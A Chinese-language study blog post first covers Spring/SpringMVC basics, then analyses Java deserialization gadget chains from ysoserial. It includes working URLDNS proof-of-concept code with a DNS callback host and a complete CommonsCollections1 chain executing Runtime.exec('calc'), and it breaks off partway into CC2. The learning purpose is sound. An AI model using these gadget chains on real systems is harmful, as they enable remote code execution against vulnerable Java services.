学习笔记-java相关-2

上一篇文章字数爆了......新的内容放到这篇里.预计develop篇把几个大框架看完就结束,然后跟下比较出名的几个框架的反序列化链子。

develop

Spring

emm没错又从maven跳到spring了。大概是因为spring框架出现的频率还是算比较高的。并且还不能简单的按照servlet开发的流程理解。所以先学习下spring的基础知识。

  • what is spring

轻量级的Java Web开发框架,以IOC,AOP为内核,使用基本的JavaBean完成以前只可能由EJB完成的工作,取代了EJB臃肿和低效的开发模式。

spring框架采用分层结构。可分为Data Access/Integration、Web、AOP、Aspects、Messaging、Instrumentation、Core Container和Test。

其中core container 核心容器包含几个模块

Core模块:提供了框架的基本组成部分,包括IoC和依赖注入功能;
Beans模块 :提供BeanFactory,是工厂模式的经典实现,Spring将管理对象称为Bean;
Context模块:是在Core和Beans模块的基础上建立起来的,以一种类似于JNDI注册的方式访问对象,是访问定义和配置任何对象的媒介。ApplicationContext接口是上下文模块的焦点;
SpEL模块:提供了强大的表达式语言,用于在运行时查询和操作对象图;

其他如Data Access/Integration 包含jdb,orm等模块。Web包含Servlet,MVC等模块。暂且不提。

下面还是按照mi1k7ea师傅的流程先做一个简单的spring demo。创建spring项目很简单。idea中创建项目里选择spring后下面选择download选项自动下载依赖。之后就会发现依赖包已经在lib文件夹下了。

首先src下建包top.bycsec。新建两个类

HelloWorld

package top.bycsec;

public class HelloWorld {
    private String message;

    public void setMessage(String message){
        this.message  = message;
    }

    public void getMessage(){
        System.out.println("Your Message : " + message);
    }
}

MainApp

package top.bycsec;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;


public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
        obj.getMessage();
    }
}

这里我们使用框架的ClassPathXmlApplicationContext()函数来创建应用程序的上下文。这个API加载beans的配置文件并最终基于所提供的API,它处理创建并初始化所有的对象,即在配置文件中提到的beans

同时使用已创建的上下文的getBean()方法来获得所需的bean。这个方法使用bean的ID返回一个最终可以转换为实际对象的通用对象。一旦有了对象,你就可以使用这个对象调用任何类的方法;

那么自然。我们选择加载了beans.xml的配置。所以需要配置beans.xml。




    


此处bean 的id自定。但是必须和获取bean时使用getBean()的参数保持一致。


接下来就spring里的几个基础术语学习下

  • IOC

IOC 即 Inversion of Control ,控制反转。指在程序开发中,实例的创建不再由调用者管理,而是由Spring容器创建。Spring容器会负责控制程序之间的关系,而不是由程序代码直接控制,因此控制权由程序代码转移到了Spring容器中,控制权发生了反转,这就是Spring的IoC思想

Spring容器使用依赖注入(DI)来管理组成一个应用程序的组件。这些对象被称为Spring Beans。

即,IoC容器是一个具有依赖注入功能的容器,它可以创建对象,IoC容器负责实例化、定位、配置应用程序中的对象及建立这些对象间的依赖。

IOC容器的使用很大程度上是为了解决开发过程中,出现一个系统有大量的组件,其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。因此使用了IOC。

同时。控制反转这个概念意味着应用程序只需使用已经配置好的组件,那么"依赖注入"这个概念就随之而出了。我们不是new一个对象。而是注入它到其他组件中。这样我们节省了编写配置代码的时间。同时注入也意味着我们可以将这个组件注入到其他类中。体现了组件共享的简单。

也正因如此。我们要让IOC容器知道怎样配置组件。所以才有了上面的使用xml文件进行bean的配置这一做法。

spring提供了两种IOC容器。一种是我们用过了的ApplicationContext.还有一种是比较轻量的BeanFactory.

二者的主要区别在于,如果Bean的某一个属性没有注入,则使用BeanFacotry加载后,在第一次调用getBean()方法时会抛出异常,而ApplicationContext则在初始化时自检,这样有利于检查所依赖的属性是否注入。因此,在实际开发中,通常都选择使用ApplicationContext,而只有在系统资源较少时才考虑使用BeanFactory。

具体用法跟上面的demo没有区别。只是实例化类的区别。因此不再提及。

如果要把上面的流程再仔细分析下的话。其实第一句ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");是加载了bean的配置文件。并且初始化好对象。第二句则使用getBean()这个方法通过配置文件中的 beanid返回真正的对象并使用其调用任何方法。

  • bean

Bean是一个被实例化、组装、并通过Spring IoC容器所管理的对象。这些Bean是由用容器提供的配置元数据创建的,例如前面看到的在XML的表单中的定义。

demo中出现的几个bean的元素

id  是一个 Bean 的唯一标识符,Spring 容器对 Bean 的配置和管理都通过该属性完成
class 该属性指定了 Bean 的具体实现类,它必须是一个完整的类名,使用类的全限定名
property 元素的子元素,用于调用 Bean 实例中的 Set 方法完成属性赋值,从而完成依赖注入。该元素的 name 属性指定 Bean 实例中的相应属性名

因此上面bean的xml配置其实是做了这样的注入的

HelloWorld a= new HelloWorld();
a.setMessage("byc_404");

spring中实例化bean除了简单的使用构造方法的构造器实例化。还有静态工厂实例化,实例工厂方式实例化。这些我个人认为可以暂时不用深入了解。主要还是理解了IOC,依赖注入这样的理念。用起来就有明确的思路了。

  • bean装配

前面似乎一直在说得使用xml文件进行bean的指定。但实际上可以不使用xml进行配置。xml配置实际可能存在难以维护的缺点。因此可以使用其他方法进行装配。

可以使用Annotation来进行配置。
常用的几个注解

@Required @Required注释应用于bean属性的setter方法,它表明受影响的bean属性在配置时必须放在XML配置文件中
@Component 可以使用此注解描述Spring中的Bean,但它是一个泛化的概念,仅仅表示一个组件(Bean),并且可以作用在任何层次。使用时只需将该注解标注在相应类上即可。
@Repository 用于将数据访问层(DAO层)的类标识为Spring中的Bean,其功能与@Component 相同。
@Service 通常作用在业务层(Service 层),用于将业务层的类标识为Spring中的Bean,其功能与@Component相同。
......

通常我们在类中注明了相关的annotation后,beans.xml配置如下

?xml version="1.0" encoding="UTF-8"?>


    
    


这样就会在选定的包里自动寻找bean了。

同样我们还可以自动装配bean.

TextEditor

package top.bycsec;

public class TextEditor {
    private SpellChecker spellChecker;
    private String name;

    public void setSpellChecker( SpellChecker spellChecker ) {
        this.spellChecker = spellChecker;
    }
    public SpellChecker getSpellChecker() {
        return spellChecker;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return name;
    }
    public void spellCheck() {
        spellChecker.checkSpelling();
    }
}

SpellChecker

package top.bycsec;

public class SpellChecker {
    public SpellChecker(){
        System.out.println("Inside SpellChecker constructor." );
    }
    public void checkSpelling() {
        System.out.println("Inside checkSpelling." );
    }
}

MainApp

package top.bycsec;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainApp {
    public static void main(String[] args) {
        ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
        TextEditor te = (TextEditor) context.getBean("textEditor");
        te.spellCheck();
    }
}

beans.xml




    
    
        
    

    
    


注意这里我们使用自动装配,也就是配置bean的autowire属性。比如此处的byName就是指: 根据 Property 的 name 自动装配,如果一个 Bean 的 name 和另一个 Bean 中的 Property 的 name 相同,则自动装配这个 Bean 到 Property 中。这里我们textEditor这个bean定义设置为自动装配byName,并且它包含spellChecker属性(即它有一个 setSpellChecker(…) 方法),那么Spring就会查找定义名为spellChecker的bean,并且用它来设置这个属性


如果我们不用自动调用。那么beans.xml中的配置就需要额外设置property


    
    

同理。我们还可以使用byType等autowire属性值来进行自动装配。

今天先看到这。spring的内容还是比较多的

SpringMVC

今天简单写个springmvc的demo。其实看了眼廖雪峰老师的spring教程。发现spring的项目基本都是maven构建的。实际上我们就算单纯使用idea中springmvc开发,也可以加入maven结构。

我个人看了下网上csdn的几种写法。有点惊讶有的根本没有写出mvc的作用,有的方法完全拘泥于原来servlet的写法,没有用上spring自己的依赖。最后找到一个阿里云的demo才真正理解了其结构。下面来实际操作下。

首先idea创建springmvc项目。当然刚刚提到了创建maven项目然后引入spring依赖也是可以的。这里我们就暂且先使用idea来帮助我们直接处理好spring的依赖吧。

刚创建完项目首先要注意一点。需要在ProjectStructure => Artifact 中将两个spring的依赖加入到WEB-INF/lib中。否则待会我们使用tomcat部署时会报错。


接下来先用不加注解的方法写一个class。

package top.bycsec;


import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class Helloworld implements Controller {
    @Override
    public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {
        ModelAndView modelAndView = new ModelAndView();
        modelAndView.addObject("name","byc_404");
        modelAndView.setViewName("hello");
        return modelAndView;
    }
}

底下addObject是加载模型数据。setViewName则是选定模型视图。这里视图不使用hello.jsp而是hello是方便书写。我们后面直接在配置中定义后缀即可。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %>


    Hello World


Hello ${name}


hello.jsp 使用SpEL表达式。即获取我们刚刚的模型数据输出到视图。
然后是项目创建时自动生成的dispatcher-servlet.xml。这里可以修改我们bean的相关参数。比如此处设置路由/helloworld。利用beanid让其对应class为HelloWorld.以及视图是在web根目录下找后缀为jsp的文件。
配置文件bean部分如下。


        
            
                testHandler
            
        
    
    
    
        
            /
        
        
            .jsp
        
    

之后加载tomcat配置跑起来即可。访问根目录是index.jsp内容。访问/helloworld则是hello.jsp

当然。这种写法肯定是麻烦了。刚好昨天学过了spring 中自动装载bean的用法。那么此处当然也可以利用注解+配置自动装载bean

新写一个AnnotationHandler类。这里使用注解@Controller将其置为控制器。同时设定其路由为/mdoel。数据与视图跟刚刚差不多。

package top.bycsec;


import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class AnnotationHandler {

    @RequestMapping("/model")
    public ModelAndView  modelAndViewTest(){
        ModelAndView modelAndView = new ModelAndView();
        modelAndView.addObject("name","byc_404");
        modelAndView.setViewName("show");
        return modelAndView;
    }
}

show.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %>


    Model


Testing model by ${name}



dispatcher-servlet.xml



    
    
        
            /
        
        
            .jsp
        
    

直接扫描top.bycsec包十分方便。现在我们访问/model路由

最终项目路径


如果要在上面基础上接受参数或者设置路由基本跟servlet差不多

@Controller
@RequestMapping("/user")
public class UserController {
    // 实际URL映射是/user/profile
    @GetMapping("/profile")
    public ModelAndView profile() {
        ...
    }

    // 实际URL映射是/user/changePassword
    @GetMapping("/changePassword")
    public ModelAndView changePassword() {
        ...
    }

    @PostMapping("/signin")
    public ModelAndView doSignin(
        @RequestParam("email") String email,
        @RequestParam("password") String password,
        HttpSession session) {
    ...
    }
}

假如编写的是大量接口的代码(rest api)。spring还提供了@RestController来代替@Controller.这样接口的方法自动变成api方法。数据也是restapi的json数据。

Audit

这一部分用于学习java代码审计中一些常见漏洞的深层原理。比如之前反序列化中利用链的深层原因还没有全部学清楚。一些特定情况下的payload编写也还需要基础知识作为底层支持。

真正接触了实战才会发现java在现在仍旧是建站的首选,并且往往可以拿到权限较高的shell.也幸好最近接触java相对更多了点,所以才有胆量去探究这些漏洞利用的底层。

deserialization gadgets

先从ysoserialpayload利用链的原理开始审计。

根据我们最早学习到的java反序列化原理。我们知道,序列化利用类必须是实现了Serializable的。这些都是payload可行的必要条件。所以后续这种细节都不必提。

  • URLDNS

URLDNS常用于检测反序列化漏洞。原因很简单:
1.依赖原生类Hashmap
2.不依赖jdk版本

我们看看Hashmap类。它实现了readObject方法

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                            loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                            mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                    DEFAULT_INITIAL_CAPACITY :
                    (fc >= MAXIMUM_CAPACITY) ?
                    MAXIMUM_CAPACITY :
                    tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                        (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node[] tab = (Node[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

关键在最后一行的putval。我们先看向putval中使用了的hash方法


里面hashCode方法取决于你的key的类。此处是java.net.URL类。

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

而跟进这里的handler发现调用的是java.net.URLStreamHandler的hashCode。


看到getHostAddress.就能明白此处肯定是对域名进行了解析。所以会发出DNS请求。

不过。URLDNS的payload编写并非这么简单的一个调用就完事了的。刚刚上面我们看到。hashCode方法里强调如果hashCode不为-1,则直接返回hashCode.而url类中它是默认为-1的。

刚刚我们说,触发点在putVal那里。它的key是通过readObject读取出来的。那说明我们的key写入时是通过writeObject写入的。按照这个线路跟下去,会发现key值最终来自HashMap中table的值。而HashMap 中的table即hash表是通过hashmap.put来写入数据的。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

这里也调用了hash。那么说明这里也会触发dns请求

我们可以写个demo
本地写要将put的第二个参数设为-1才会发出dns请求。

package top.bycsec;

import java.util.HashMap;
import java.net.URL;

public class exp {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://byc.xxx.ceye.io/");
        map.put(url,-1); 
    }

}

我们如果只想在对方机器上检测是否产生dns请求。那么必须得规避掉Hashmap.put这一次调用时里面做出的dns请求。方法也很简单。那就是在put前修改URL的hashCode为其他任意值,就可以在put时不触发dns查询

这一步可以通过反射来达成。

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class exp {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://byc.xxx.ceye.io/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,123);
        System.out.println(url.hashCode());
        map.put(url,123);
    }

}

此时调用url的hashCode结果会返回123.也就是直接返回了我们设置的值,避免了dns查询。

hashCode 这个属性不是 transient 的,而是private的。所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode

因此。我们实际的poc如下

package top.bycsec;


import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://byc.xxxx.ceye.io/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 123);
        map.put(url, "byc_404");
        f.set(url, -1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(map);
        oos.close();
    }
}

这样就成功将序列化数据写入out.bin,并且没有本地发出dns请求。然后我们模拟真实场景触发

package top.bycsec;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class exp {

    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
        ois.close();
    }

}

在p1g3师傅的文章里还对ysoserial的payload进行了分析。我们不妨也看看yso的jar包中是如何书写的(其实直接去看github上源码可以配合注释更好阅读)

public Object getObject(String url) throws Exception {
    URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
    HashMap ht = new HashMap();
    URL u = new URL((URL)null, url, handler);
    ht.put(u, url);
    Reflections.setFieldValue(u, "hashCode", -1);
    return ht;
}
static class SilentURLStreamHandler extends URLStreamHandler {
    SilentURLStreamHandler() {
    }

    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }

    protected synchronized InetAddress getHostAddress(URL u) {
        return null;
    }
}

jar包反编译看不出提示。我们再github源码上则可以找到作者的说法

//Avoid DNS resolution during payload creation
                //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

配合上面的源码。我们知道这里它新建了一个子类SilentURLStreamHandler继承URLStreamHandler。那当它在URLDNSpayload里调用put时是直接调用自定义的getHostAddress.这个方法返回null.

而当反序列化执行时,因为这里的SilentURLStreamHandler属性被设置为transient,而被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。

到此为止。我们完成了整条urldns链的分析。
gadgets如下

HashMap#readObject
    HashMap#hash
        URL#hashCode
        URLStreamHandler#hashCode
        URLStreamHandler#getHostAddress
  • CommonCollections1

先说下环境的配置问题。因为cc链子好几条都只能用在jdk1.7下了所以得弄个jdk1.7的环境。开始打算用kali虚拟机现成的的jvm里的1.7,结果因为官方库已经没有openjdk7了,idea识别不到。所以只好又下了一个jdk1.7.

因为只是项目用,所以不需要添加环境变量什么的就可以了。不过需要注意的是idea项目切换jdk版本的话,尤其对于我们maven项目而言,一定要把设置里所有默认值都改为jdk1.7.包括:pom.xml里java version与maven 编译version;project structure里project sdk 以及modules;Language level;java Compiler version 全部调整为1.7才能不出错。
否则会在编译时报无效的源以及编译完后无效的目标发行版这两种错。
修改好后就没有什么好担心的了。开始maven导库审计吧。
pom.xml


        UTF-8
        UTF-8
        1.7
        1.7
        1.7
    

    
        
            commons-collections
            commons-collections
            3.1
        
        
            org.apache.commons
            commons-collections4
            4.0
        
        
            org.javassist
            javassist
            3.25.0-GA
        
    

首先是一个关于动态代理的例子。

1.java中代理类的作用是:调用不可以直接被实例化的接口方法。
2.动态代理可以直接"创建"某个接口的实例,对其方法进行调用.
3.调用某个动态代理对象的方法时,都会触发代理类的invoke方法.

先定义一个接口。它有一个helloworld方法。

package top.bycsec;

public interface Hello {
    void helloworld(String name);
}

接下来调用这个exp。我们可以直接实例化一个handler.它实现了InvocationHandler这个接口。同时需要重写invoke方法。此处我们让他在方法名为helloworld时输出自定义内容
然后实例化一个代理对象hello.他需要ClassLoader,要代理的接口数组以及调用接口时触发的对应方法作为构造参数。
exp

package top.bycsec;

import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class exp {

    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new InvocationHandler(){

            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                if (method.getName().equals("helloworld")) {
                    System.out.println("Hello, " + args[0]);
                }
                return null;
            }
        };
        Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
        hello.helloworld("byc_404");
    }
}

这样在我们调用接口的helloworld时。就会触发invoke方法里的内容。
输出Hello, byc_404

接下来我们来看看cc1链子的内容。首先从执行命令的反射gadget开始。这里我确认过一遍,应该是第一部分跟CC5时就看过了。结果现在已经忘光了......所以再看一遍。

首先是commonscollections这个包里Trandsformer这个接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

它实现了类型转换的功能。其中实现了这个接口的类主要有三个,也就是我们后面构造payload要用到的.

InvokerTransformer
ConstantTransformer
ChainedTransformer
他们都实现了 Transformer 以及 Serializable接口。

看下他们的transform方法
InvokeTransformer

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

一个非常典型的反射调用方法的功能

ConstantTransformer

public Object transform(Object input) {
    return this.iConstant;
}

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

返回某参数。如果去看了它的构造方法就会发现其实transform是一个原封不动返回的功能。

ChainedTransformer

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

执行一个for循环进行循环调用。对每个传入的transformer都调用其transform方法并作为下一次的参数。

如果直接抽象点理解,大概是能理解下面的exp的

package top.bycsec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class cc1 {

    public static void main(String[] args){
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        chain.transform(123);
    }
}

整体上是一个ChainedTransformer循环调用transform的过程。其中ConstantTransformer获取到Runtime的类,后面循环调用了三个invoke获取方法执行。

下面细节化的解释下.毕竟cc链子所有命令执行部分都是这条链(没记错的话)

先说InvokeTransformer的transform方法。上面源码里说明了它主要是一个反射的过程。其接受的参数是一个对象。

try {
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);

最大的好处就是这里所有反射参数都是可控的。所以其实这里就能rce.

Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoketransformer.transform(runtime);

只不过显然我们没有直接传入一个Runtime.getRuntime()这样一个实例的可能。所以需要利用一下其他的类作辅助。

比如说上面提到的ConstantTransformer.其transform方法会返回自身。所以说可以

Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invoketransformer.transform(constantTransformer);

再加上ChainedTransform会调用其输入的transform这个特点,我们就可以进一步来到cc反射exp的雏形

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

});
chain.transform(123);

此时已不再需要输入变量为对象,而是可以为任意值(此处为123)。

只不过这里有一个问题,我们曾经说过

java反序列某类时,该类的所有属性必须是可序列化的

此处Runtime.getRuntime()还是返回了runtime对象,它不是可序列化的。即反序列化时上述exp会报错抛出NotSerializableException。

当然解决方法也很简单,不允许直接获取的话,直接动态调用就好了。也就是继续用反射获取Runtime.
所以才有了最完整的exp中

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
            String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
            Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
    new InvokerTransformer("exec",
            new Class[] { String.class }, new Object[]{"calc"})});
chain.transform(123);

第一步反射使用getMethod获取getRuntime这个方法对象。再invoke获取getRuntime的执行结果。最后直接反射执行exec calc.或者传字符串数组执行特殊命令弹shell.

到这一步为止达成了: 反序列化时执行transform方法即可rce.下面就是找可用类链子了。因为不可能直接就在readObject里调用transform吧。

下面是cc1中链子的开始。
org.apache.commons.collections.map.LazyMap 它实现了Serializable接口并存在readObject方法。

LazyMap的get方法

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

this.factory.transform(key)就是一个调用了transform的例子。那么只要factory可控就能调用上面的反射rce了。

看下构造方法。


虽然只要实例化的话就能控制factory了。但是这不是一个public的构造方法,在java中想要获取到这个构造方法还是得用反射。
此时的exp已经可以写成

public static void main(String[] args) throws Exception {

    ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
            new InvokerTransformer("exec",
                    new Class[] { String.class }, new Object[]{"calc"})});
    HashMap innermap = new HashMap();
    Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
    constructor.setAccessible(true);
    LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
    map.get(123);
    }

所以,最后也是最难的一点就是找到一个调用get并传递任意值的地方,来调用我们lazymap的get方法。这也就是作者的强大之处。

jdk1.7版本下找到的是sun.reflect.annotation.AnnotationInvocationHandler
注意你直接导入是导不了这个类的。可以在jre的rt.jar 中找到这个\sun\reflect\annotation\AnnotationInvocationHandler.class

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        ......

注意这里readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)

这也就是java 的动态代理机制。调用entryset这个方法实际上调用的是代理的invoke.

invoke里又调用了memberValues的get.那么只要令memberValues为我们构造好的Lazymap对象即可

final exp

package top.bycsec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import sun.reflect.annotation.AnnotationParser;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.IdentityHashMap;
import java.util.Map;

public class cc1 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(obj);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
        ois.close();
    }
}
  • CommonCollections2

首先注意是CommonsCollections4的依赖

起点是
java.util.PriorityQueue#readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

这里queue可控。然后一条链走向heapify => siftDown => siftDownUsingComparator => comparator.compare

这里就可以开启新的gadget了。比如cc2链子中使用的是
org.apache.commons.collections4.comparators.TransformingComparator 的同名compare方法。

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

transform方法的作用自然是之前的一套反射组合拳进行rce了。所以需要transformer可控。而从构造方法去看的话会发现也是可控的。

这里就可以写一个exp

package top.bycsec;

import java.io.FileInputStream;
